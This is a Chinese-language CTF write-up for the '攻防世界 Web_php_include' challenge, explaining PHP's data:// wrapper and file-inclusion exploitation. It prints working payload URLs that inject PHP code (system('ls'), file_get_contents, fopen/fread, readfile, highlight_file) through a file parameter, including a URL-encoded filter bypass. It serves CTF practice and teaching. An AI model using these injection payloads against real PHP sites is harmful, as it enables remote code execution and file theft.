攻防世界Web_php_include(writeup)--data://伪协议

该文章已生成可运行项目,

引子

data://伪协议

详见:【CTF】 文件包含漏洞——data伪协议 【详】-CSDN博客

data://是 PHP 中的一种伪协议,允许将数据直接嵌入到 URL 中,从而在请求中传递和处理数据。

data:// 伪协议的基本格式如下:

  • data://[<MIME-type>][;charset=<encoding>][;base64],<data>
  • MIME-type:指定数据的类型,默认为 text/plain。
  • charset(可选,默认为UTF-8):指定数据的编码类型,如 utf-8。
  • base64(可选):如果数据经过 Base64 编码,则需要加上 ;base64 标识。
  • data:实际的数据内容。

使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系统列出文件列表。亦可对data部分代码进行url编码绕过字符串过滤

?file=data://text/plain,%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E

进行以上步骤我们可以获取当前网站目录中有些什么文件,然后我们可以使用以下方法读取我们想要的文件:

file_get_contents

//file_get_contents函数参数详情
string file_get_contents ( string $filename , bool $use_include_path = FALSE , resource $context = NULL , int $offset = 0 , int $maxlen = NULL )

//$filename:要读取的文件或资源的路径(可以是本地文件路径或 URL)。
//$use_include_path:是否在 include_path 中查找文件。默认为 FALSE。
//$context:上下文资源,用于设置流的选项(如超时时间、请求头等)。
//$offset:从文件的指定偏移量开始读取。
//$maxlen:最大读取长度。

//示例
http://example.com/vulnerable.php?file=data://text/plain,<?php echo file_get_contents('flag.txt'); ?>

利用 fopen 和 fread

http://example.com/vulnerable.php?file=data://text/plain,<?php $handle = fopen('flag.txt', 'r'); while (!feof($handle)) { echo fread($handle, 1024); } fclose($handle); ?>

readfile

http://example.com/vulnerable.php?file=data://text/plain,<?php readfile('flag.txt'); ?>

利用 highlight_file 或 show_source

http://example.com/vulnerable.php?file=data://text/plain,<?php highlight_file('flag.txt'); ?>

tips:函数htmlspecialchars可以将一些特定的字符(如 <>&"')转换为对应的 HTML 实体。这样可以确保这些字符在 HTML 页面中以纯文本形式显示,而不是被浏览器解释为 HTML 标签或脚本代码。

题目

题目名称:Web_php_include(攻防世界

题目编号:NO.GFSJ0716

对其尝试使用data伪协议将目录打出

fl4gisisish3r3.php文件便是当前目录下的flag文件

尝试读取

发现普通的echo输出无法正常运行

因此发现一个函数htmlspecialchars可以将一些特定的字符(如 <>&"')转换为对应的 HTML 实体。这样可以确保这些字符在 HTML 页面中以纯文本形式显示,而不是被浏览器解释为 HTML 标签或脚本代码。

string htmlspecialchars(string $string, int $flags = ENT_QUOTES, string $encoding = 'UTF-8', bool $double_encode = true)

//$string:要转换的字符串。
//$flags:指定转换规则的标志,默认为 ENT_QUOTES,表示转换双引号和单引号。
//$encoding:指定字符编码,默认为 UTF-8。
//$double_encode:是否对已经编码的字符进行二次编码。默认为 true。

//常用标志
//ENT_QUOTES:转换双引号和单引号(默认值)。
//ENT_NOQUOTES:不转换任何引号。
//ENT_COMPAT:仅转换双引号。
//ENT_IGNORE:忽略无效的编码,不报告错误。

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值